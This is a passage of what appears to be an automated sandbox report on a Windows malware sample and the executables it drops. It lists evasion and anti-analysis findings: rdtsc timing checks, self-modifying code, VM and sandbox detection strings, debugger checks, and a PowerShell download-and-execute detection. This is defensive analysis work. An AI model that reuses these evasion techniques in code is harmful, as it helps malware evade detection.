Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E51387 second address: E513A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F1690B6C7FCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E8E5BC second address: E8E5C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E8E5C9 second address: E8E5E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 je 00007F1690B6C806h 0x0000000b jmp 00007F1690B6C800h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E8E5E4 second address: E8E5E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E8ECF6 second address: E8ED35 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1690B6C800h 0x00000008 jmp 00007F1690B6C7FEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007F1690B6C809h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E8EFF0 second address: E8EFF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E8EFF6 second address: E8F007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1690B6C7FBh 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E8F007 second address: E8F00D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E8F00D second address: E8F011 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E91055 second address: E9105F instructions: 0x00000000 rdtsc 0x00000002 je 00007F1690C1AF9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: AEEDD3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: D256E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Special instruction interceptor: First address: CDD88A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Special instruction interceptor: First address: CDD97F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Special instruction interceptor: First address: E883AE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Special instruction interceptor: First address: EB29BF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Special instruction interceptor: First address: E8FAB6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Special instruction interceptor: First address: F1FAD0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Special instruction interceptor: First address: 107E007 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Special instruction interceptor: First address: 107C830 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Special instruction interceptor: First address: 109FDF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Special instruction interceptor: First address: ECECC3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Special instruction interceptor: First address: 1103A48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 60E007 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 60C830 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 62FDF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 45ECC3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 693A48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Special instruction interceptor: First address: F2EDD3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Special instruction interceptor: First address: 11656E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Special instruction interceptor: First address: ADA866 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Special instruction interceptor: First address: AEA713 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Special instruction interceptor: First address: B6DBFF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Special instruction interceptor: First address: AD8FD9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Special instruction interceptor: First address: 18D88A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Special instruction interceptor: First address: 18D97F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Special instruction interceptor: First address: 3383AE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Special instruction interceptor: First address: 3629BF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Special instruction interceptor: First address: 33FAB6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Special instruction interceptor: First address: 3CFAD0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Special instruction interceptor: First address: E3E007 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Special instruction interceptor: First address: E3C830 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Special instruction interceptor: First address: E5FDF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Special instruction interceptor: First address: C8ECC3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Special instruction interceptor: First address: EC3A48 instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Memory allocated: 52D0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Memory allocated: 5540000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Memory allocated: 5440000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Memory allocated: B60000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Memory allocated: 2760000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Memory allocated: 2690000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Memory allocated: A90000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Memory allocated: 2440000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Memory allocated: 4440000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Memory allocated: 4EB0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Memory allocated: 5080000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Memory allocated: 7080000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Code function: 4_2_00E5E153 rdtsc 4_2_00E5E153
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Thread delayed: delay time: 922337203685477
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 7344 Thread sleep time: -46023s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7328 Thread sleep time: -32016s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7464 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe TID: 7972 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 796 Thread sleep count: 34 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 796 Thread sleep time: -68034s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5676 Thread sleep count: 42 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5676 Thread sleep time: -84042s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7500 Thread sleep count: 253 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7500 Thread sleep time: -7590000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3332 Thread sleep count: 32 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3332 Thread sleep time: -64032s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3340 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7500 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe TID: 7024 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe TID: 6776 Thread sleep time: -922337203685477s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Thread delayed: delay time: 922337203685477
Source: skotes.exe, skotes.exe, 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmp, e90585a72a.exe, 00000011.00000002.2706278766.0000000000AB9000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: innoinstaller.exe, 00000009.00000002.2477259453.0000000002B26000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmware\V
Source: innoinstaller.exe, 00000009.00000002.2488892717.0000000003927000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2488892717.00000000037C4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2930912647.00000000001B2000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: qemu'
Source: e90585a72a.exe, 00000011.00000002.2707046066.000000000120E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMwareOX<
Source: innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmware
Source: innoinstaller.exe, 00000009.00000002.2477259453.0000000002B26000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMwareLR^q
Source: skotes.exe, 00000008.00000002.2939032434.0000000001429000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW0
Source: innoinstaller.exe, 00000009.00000002.2477259453.0000000002B26000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: YxKGBd8P1w 456u vsEEUNZ6@\^q0Microsoft|VMWare|V<
Source: innoinstaller.exe, 00000009.00000002.2477259453.0000000002B26000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMWareLR^q,
Source: innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware|VIRTUAL|A M I|Xen
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp, e90585a72a.exe, 00000011.00000002.2707046066.0000000001256000.00000004.00000020.00020000.00000000.sdmp, e90585a72a.exe, 00000011.00000002.2707046066.0000000001286000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: innoinstaller.exe, 00000009.00000002.2477259453.0000000002B26000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware|VIRTUAL|A M I|Xen@\^q
Source: e90585a72a.exe, 00000011.00000002.2707046066.000000000120E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Microsoft|VMWare|Virtual
Source: innoinstaller.exe, 00000009.00000002.2477259453.0000000002B26000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OKM5Y FLVP2MS5XK@\^q0VMware|VIRTUAL|A M<
Source: innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: explorerJSbieDll.dllKcuckoomon.dllLwin32_process.handle='{0}'MParentProcessIdNcmdOselect * from Win32_BIOS8Unexpected WMI query failurePversionQSerialNumberSVMware|VIRTUAL|A M I|XenTselect * from Win32_ComputerSystemUmanufacturerVmodelWMicrosoft|VMWare|VirtualXjohnYannaZxxxxxxxx
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe, 00000004.00000002.2197699048.0000000000E66000.00000040.00000001.01000000.00000006.sdmp, VG65QSLZVUGSLKDE78EZSIIG.exe, 00000005.00000002.2122564925.000000000105A000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, 00000006.00000002.2150170381.00000000005EA000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000007.00000002.2154876984.00000000005EA000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmp, e90585a72a.exe, 00000011.00000002.2706278766.0000000000AB9000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: $^q 1:en-CH:Microsoft|VMWare|Virtual
Source: e90585a72a.exe, 00000011.00000002.2707046066.0000000001286000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW!
Source: innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: $^q 1:en-CH:VMware|VIRTUAL|A M I|Xen
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Thread information set: HideFromDebugger
Potentially malicious time measurement code found
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_05510A6A Start: 05510BDD End: 05510B00 8_2_05510A6A
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Code function: 4_2_00E5E153 rdtsc 4_2_00E5E153
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_0042652B mov eax, dword ptr fs:[00000030h] 8_2_0042652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_0042A302 mov eax, dword ptr fs:[00000030h] 8_2_0042A302
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: e90585a72a.exe PID: 3620, type: MEMORYSTR
Injects a PE file into a foreign processes
